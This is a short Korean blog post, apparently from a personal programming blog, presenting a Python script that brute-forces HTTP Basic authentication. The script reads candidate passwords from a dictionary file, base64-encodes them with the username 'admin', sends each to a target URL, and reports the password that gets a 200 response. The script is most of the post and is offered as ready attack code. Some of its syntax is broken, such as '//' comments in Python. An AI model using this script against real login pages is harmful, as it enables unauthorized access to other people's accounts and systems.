Self-Improvement
Python의 requests Base64 Dictionary 코드 본문
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | import requests import sys from bs4 import BeautifulSoup import base64 #login login_url = 'Target URL' fd = open("password.txt") //dictionary file while True: pass1=fd.readline() pass1 = pass1.replace("\n", '') if pass1 == "": sys.exit(1) BASE=base64.b64encode(bytes('admin:'+pass1,'utf-8')) //base64 encoding BASE64=BASE.decode('utf-8') // 'b' remove authorization={'Authorization':'Basic '+BASE64} resp=requests.get(login_url,headers=authorization) soup=BeautifulSoup(resp.text,'lxml') if soup.statusvalue.text == "200": print("[ok] password is", pass1) sys.exit(2) fd.close() | cs |
Basic 로그인 폼에 dictionary을 수행하는 간단한 공격 코드
'프로그래밍 > Python' 카테고리의 다른 글
shodan API로 최근 이슈된 취약점 검색 Python 코드 (0) | 2019.01.10 |
---|---|
python의 argparser 모듈 기본적인 사용법 (0) | 2019.01.10 |
Python의 requests 모듈을 통한 DVWA-Low Brute Force 자동화 코드 (0) | 2018.10.25 |
Head First Python 5-2장 (0) | 2018.10.22 |
Head First Python 6-1장 (0) | 2018.10.21 |